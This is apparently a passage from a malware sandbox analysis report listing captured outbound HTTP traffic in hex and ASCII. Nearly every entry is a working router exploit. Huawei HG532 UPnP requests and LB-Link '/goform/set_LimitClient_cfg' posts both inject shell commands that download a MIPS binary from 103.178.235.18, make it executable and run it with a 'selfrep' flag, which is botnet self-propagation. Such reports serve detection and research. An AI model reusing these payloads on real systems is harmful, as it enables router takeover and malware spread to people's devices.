50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
